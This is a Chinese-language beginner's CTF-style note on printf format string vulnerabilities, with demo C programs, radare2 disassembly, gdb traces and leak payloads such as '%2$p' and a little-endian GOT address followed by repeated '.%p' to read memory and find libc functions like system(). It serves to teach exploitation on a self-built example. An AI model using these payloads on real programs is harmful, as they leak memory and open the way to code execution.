pwn 字符串格式化漏洞 01-查看任意地址

   ---pwn String formatting vulnerability 01
一个pwn新手的笔记

1.1前景提要:

就是c/c++里面hello world吧

#include 
int main()
{
        printf("Hello World!\n");
        return 0;
}

其实这些函数都是可以利用的

int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

大致原理:

根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压 栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果 字符不是 % ,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的 参数并解析输出。

1.2 各种而样的Hello World

  • 组合型
#include 
int main()
{
        char *format = "%s";
        char *arg1 = "Hello World\n";
        printf(format,arg1);
return 0;
}

那么这里的printf就有arg1这一个参数

  • 过多型
#include 
int main()
{
        char *format = "%s-%p-%p-%p-%p-%p-%p-%p-%p";
        char *arg1 = "Hello World\n";
        printf(format,arg1);
        return 0;
}

结果:

Hello World
-0x4005ff-(nil)-0x4005d0-0x7fddb8c10ac0-0x4005e4-0x4005ff-0x400560-0x7fddb8850830

输出了多余的信息,说明了这里是存在漏洞的
格式化字符串函数会根据格式字符串从栈上取值

2.字符串格式化的利用

2.1使进程崩溃:

2.1.1 核心转储

在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储

  核心转储:核心转储(core dump),在汉语中有时戏称为吐核,是操作系统在进程收到某些信号而终止运行时,将此时进程地址空间的内容以及有关进程状态的其他信息写出的一个磁盘文件。这种信息往往用于调试。

2.1.2 核心转储的原因

核心转储-百度百科

3.2演示示例:

#include 
int main()
{
        char format[128];
        int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
        char arg4[10] = "ABCD";
        scanf("%s",format);
        printf(format,arg1,arg2,arg3,arg4);
        return 0;
}

暂且把这个当作一道题吧

2.1.2 r2:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础# rabin2 -I example
arch     x86
baddr    0x400000
binsz    6738
bintype  elf
bits     64
canary   true
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true
[0x00400500]> pdf @main
            ; DATA XREF from entry0 @ 0x40051d
┌ 176: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_ach @ rbp-0xac
│           ; var int64_t var_a8h @ rbp-0xa8
│           ; var int64_t var_a4h @ rbp-0xa4
│           ; var char *var_a0h @ rbp-0xa0
│           ; var int64_t var_98h @ rbp-0x98
│           ; var char *format @ rbp-0x90
│           ; var int64_t canary @ rbp-0x8
│           0x004005f6      55             push rbp
│           0x004005f7      4889e5         mov rbp, rsp
│           0x004005fa      4881ecb00000.  sub rsp, 0xb0
│           0x00400601      64488b042528.  mov rax, qword fs:[0x28]
│           0x0040060a      488945f8       mov qword [canary], rax
│           0x0040060e      31c0           xor eax, eax
│           0x00400610      c78554ffffff.  mov dword [var_ach], 1
│           0x0040061a      c78558ffffff.  mov dword [var_a8h], 0x88888888
│           0x00400624      c7855cffffff.  mov dword [var_a4h], 0xffffffff ; -1
│           0x0040062e      48c78560ffff.  mov qword [var_a0h], 0x44434241 ; 'ABCD'
│           0x00400639      66c78568ffff.  mov word [var_98h], 0
│           0x00400642      488d8570ffff.  lea rax, [format]
│           0x00400649      4889c6         mov rsi, rax
│           0x0040064c      bf34074000     mov edi, 0x400734           ; const char *format
│           0x00400651      b800000000     mov eax, 0
│           0x00400656      e885feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x0040065b      488dbd60ffff.  lea rdi, [var_a0h]
│           0x00400662      8b8d5cffffff   mov ecx, dword [var_a4h]
│           0x00400668      8b9558ffffff   mov edx, dword [var_a8h]
│           0x0040066e      8bb554ffffff   mov esi, dword [var_ach]
│           0x00400674      488d8570ffff.  lea rax, [format]
│           0x0040067b      4989f8         mov r8, rdi
│           0x0040067e      4889c7         mov rdi, rax                ; const char *format
│           0x00400681      b800000000     mov eax, 0
│           0x00400686      e835feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0040068b      b800000000     mov eax, 0
│           0x00400690      488b55f8       mov rdx, qword [canary]
│           0x00400694      644833142528.  xor rdx, qword fs:[0x28]
│       ┌─< 0x0040069d      7405           je 0x4006a4
│       │   0x0040069f      e80cfeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from main @ 0x40069d
│       └─> 0x004006a4      c9             leave
└           0x004006a5      c3             ret

2.1.3 gdb

Starting program: /mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础/example
[----------------------------------registers-----------------------------------]
RAX: 0x4005f6 --> 0xb0ec8148e5894855
RBX: 0x0
RCX: 0x0
RDX: 0x7ffffffee5e8 --> 0x7ffffffee845 ("SHELL=/bin/bash")
RSI: 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础/example")
RDI: 0x1
RBP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RSP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RIP: 0x4005fa --> 0x64000000b0ec8148
R8 : 0x400720 --> 0x8ec83480000c3f3
R9 : 0x7fffff410ac0 (<_dl_fini>:        push   rbp)
R10: 0x846
R11: 0x7fffff050740 (<__libc_start_main>:       push   r14)
R12: 0x400500 --> 0x89485ed18949ed31
R13: 0x7ffffffee5d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005f1 :   jmp    0x400570 
   0x4005f6 
: push rbp 0x4005f7 : mov rbp,rsp => 0x4005fa : sub rsp,0xb0 0x400601 : mov rax,QWORD PTR fs:0x28 0x40060a : mov QWORD PTR [rbp-0x8],rax 0x40060e : xor eax,eax 0x400610 : mov DWORD PTR [rbp-0xac],0x1 [------------------------------------stack-------------------------------------] 0000| 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741 0008| 0x7ffffffee4f8 --> 0x7fffff050830 (<__libc_start_main+240>: mov edi,eax) 0016| 0x7ffffffee500 --> 0x1 0024| 0x7ffffffee508 --> 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞 /01-基础/example") 0032| 0x7ffffffee510 --> 0x1ff625ca0 0040| 0x7ffffffee518 --> 0x4005f6 --> 0xb0ec8148e5894855 0048| 0x7ffffffee520 --> 0x0 0056| 0x7ffffffee528 --> 0x8732ec1a2c49afff [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x00000000004005fa in main () gdb-peda$ c Continuing. %08x.%08x.%08x.%08x.%08x 00000001.88888888.ffffffff.fffee450.ff7d0700[Inferior 1 (process 166) exited normally] Warning: not running

总之就是类型标志符的问题,但是这里是依次获得参数,
  要获得指定参数可以用以下方法:

%$

获取第三个参数就是

%2$p

这个也可以直接输入:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础# ./example
%2$p
0x88888888

而且可以获取周围栈的情况:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基础# ./example
%5$x
78150700

2.2查看任意地址内存:

也就是做题经常用的AAAA-%p-%p-%p-%p-%p-%p-%p...

经常的用法是: 把一个函数的got地址传入,在获得该地址对应函数的虚拟地址,再根据函数在libc中的相对位置调用libc的其他函数(如system())

大致如下:

输入: "小端地址" + "%p(地址类型)"*(重复次数)
"\x10\xa0\x04\x08"+".%p"*20

注意一点就是,如果遇上了ASCII上面的不可见字符则不能被查看

  • 大致就是这些了吧

你可能感兴趣的:(pwn 字符串格式化漏洞 01-查看任意地址)